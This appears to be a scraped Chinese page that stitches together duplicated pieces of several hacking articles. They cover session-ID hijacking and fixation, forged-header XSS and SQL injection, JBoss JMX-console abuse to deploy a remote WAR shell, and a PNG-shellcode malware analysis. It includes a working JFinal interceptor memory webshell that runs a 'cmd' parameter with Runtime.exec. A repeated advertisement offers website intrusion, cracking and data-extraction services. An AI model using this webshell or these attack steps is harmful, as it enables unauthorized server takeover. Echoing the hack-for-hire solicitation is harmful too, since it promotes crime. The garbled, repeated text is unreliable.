服务器重启或关闭Session失效。
注:浏览器关闭其实并不会让session失效!因为session是存储在服务器端内存当中的。客户端把浏览器关闭了服务器怎么可能知道?正确的解释或许应该是浏览器关闭后不会去记忆关闭前客户端和服务器端之间的session信息且服务器端没有将sessionId以Cookie的方式写入到客户端缓存当中,重新打开浏览器之后并不会带着关闭之前的sessionId去访问服务器URL,服务器从请求中得不到sessionId自然给人的感觉就是session不存在(自己理解的)。
当我们关闭服务器时Tomcat会在安装目录workCatalinalocalhost项目名目录下建立SESSIONS.ser文件。此文件就是Session在Tomcat停止的时候 持久化到硬盘中的文件. 所有当前访问的用户Session都存储到此文件中. Tomcat启动成功后.SESSIONS.ser 又会反序列化到内存中,所以启动成功后此文件就消失了. 所以正常情况下 从启Tomcat用户是不需要登录的. 注意有个前提,就是存储到Session里面的user对象所对应的User类必须要序列化才可以。
同时开启FireFox和Chrome浏览器设置两个Session
我们依旧用TamperData来修改请求的Cookie当中的jsessionId,下面是见证奇迹的时刻
我要说的话都已经在图片当中的文字注释里面了,伟大的Xss黑客们看明白了吗?你盗取的也许是jsessionId(Java里面叫jsessionId),而不只是cookie。那么假设我们的Session被设置得特别长那么这个SessionId就会长时间的保留,而为Xss攻击提供了得天独厚的条件。而这种Session长期存在会浪费服务器的内存也会导致:SessionFixation攻击!
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
注:浏览器关闭其实并不会让session失效!因为session是存储在服务器端内存当中的。客户端把浏览器关闭了服务器怎么可能知道?正确的解释或许应该是浏览器关闭后不会去记忆关闭前客户端和服务器端之间的session信息且服务器端没有将sessionId以Cookie的方式写入到客户端缓存当中,重新打开浏览器之后并不会带着关闭之前的sessionId去访问服务器URL,服务器从请求中得不到sessionId自然给人的感觉就是session不存在(自己理解的)。
当我们关闭服务器时Tomcat会在安装目录workCatalinalocalhost项目名目录下建立SESSIONS.ser文件。此文件就是Session在Tomcat停止的时候 持久化到硬盘中的文件. 所有当前访问的用户Session都存储到此文件中. Tomcat启动成功后.SESSIONS.ser 又会反序列化到内存中,所以启动成功后此文件就消失了. 所以正常情况下 从启Tomcat用户是不需要登录的. 注意有个前提,就是存储到Session里面的user对象所对应的User类必须要序列化才可以。
同时开启FireFox和Chrome浏览器设置两个Session
我们依旧用TamperData来修改请求的Cookie当中的jsessionId,下面是见证奇迹的时刻
我要说的话都已经在图片当中的文字注释里面了,伟大的Xss黑客们看明白了吗?你盗取的也许是jsessionId(Java里面叫jsessionId),而不只是cookie。那么假设我们的Session被设置得特别长那么这个SessionId就会长时间的保留,而为Xss攻击提供了得天独厚的条件。而这种Session长期存在会浪费服务器的内存也会导致:SessionFixation攻击!
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
请求头信息伪造XSS
关于伪造问题我是这样理解的:发送Http请求是客户端的主动行为,服务器端通过ServerSocket监听并按照Http协议去解析客户端的请求行为。
所以请求头当中的信息可能并不一定遵循标准Http协议。
用FireFox的Tamper Data和Moify Headers(FireFox扩展中心搜Headers和Tamper Data都能找到) 插件修改下就实现了,请先安装FireFox和Tamper Data:
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper
使用Moify Headers自定义的修改Headers
修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成xss,或者在未到数据库的时候就造成了SQL注入,因为对于程序员来说,大多数人认为一般从Headers里面取出来的数据是安全可靠的,可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。今年一月份的时候我发现xss.tw也有一个这样的经典案例,Wdot那哥们在记录用户的请求头信息的时候没有去转意特殊的脚本,导致我们通过伪造的请求头直接存储到数据库。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
关于伪造问题我是这样理解的:发送Http请求是客户端的主动行为,服务器端通过ServerSocket监听并按照Http协议去解析客户端的请求行为。
所以请求头当中的信息可能并不一定遵循标准Http协议。
用FireFox的Tamper Data和Moify Headers(FireFox扩展中心搜Headers和Tamper Data都能找到) 插件修改下就实现了,请先安装FireFox和Tamper Data:
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。
点击Start Tamper 然后请求Web页面,会发现请求已经被Tamper Data拦截下来了。选择Tamper
使用Moify Headers自定义的修改Headers
修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成xss,或者在未到数据库的时候就造成了SQL注入,因为对于程序员来说,大多数人认为一般从Headers里面取出来的数据是安全可靠的,可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。今年一月份的时候我发现xss.tw也有一个这样的经典案例,Wdot那哥们在记录用户的请求头信息的时候没有去转意特殊的脚本,导致我们通过伪造的请求头直接存储到数据库。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JBoss安全问题
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
MBean的属性
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
interceptor内存木马
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
刚才通过分析,应用会执行到com.jfinal.core.ActionHandler#handle,接着分析handle的执行流程,发现88行执行了,跟进com.jfinal.aop.Invocation#invoke:
import com.jfinal.aop.Interceptor;
import com.jfinal.aop.Invocation;
import com.jfinal.core.Controller;
import java.io.IOException;
public class ShellInterceptor implements Interceptor {
Override
public void intercept(Invocation invocation) {
Controller controller = invocation.getController();
if (controller.getPara("cmd") != null) {
try {
Runtime.getRuntime().exec(controller.getPara("cmd"));
} catch (IOException e) {
e.printStackTrace();
}
}
invocation.invoke();
}
}
发现这里是调用了interceptors中interceptor.intercept
那么可以尝试针对指定路由构造interceptor内存马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Demo3Handler、Demo2Handler、DemoHandler是自定义的三个handler,在web配置中定义,调用完这三个,紧接着调用ActionHandler,这都是Handler的实现类
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
实际上这里是
com.jfinal.core.JFinalFilter#doFilter中调用了
this.handler.handle(target, request, response, isHandled);
而this.handler中存储了第一个Handler,就是DemoHandler,其中next属性值又为第二个Demo2Handler,这样循环调用到ActionHandler,接着看com.jfinal.core.ActionHandler#handle,在59行断点,重新执行
通过com.jfinal.core.ActionHandler#getAction获取action,根据路由/hello,而这个getAction就是从actionMapping中取值
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过分析aut.png图像中ShellCode代码功能与上面view.png图像中ShellCode代码功能一致,但解密出来的PayLoad不一样,通过分析该PayLoad引用了一个注入工具的代码,并会将ShellCode代码注入到explore.exe进程当中
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
两个PNG图像中包含的ShellCode代码,先看view.png中的ShellCode代码,分配相应的内存空间
注入的ShellCode代码与上面的两个ShellCode代码的逻辑一致,分配相应的内存空间,然后将加密的数据拷贝到内存空间当中
最终解密出来的PayLoad,查询相关注册表项,设置快捷方式等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke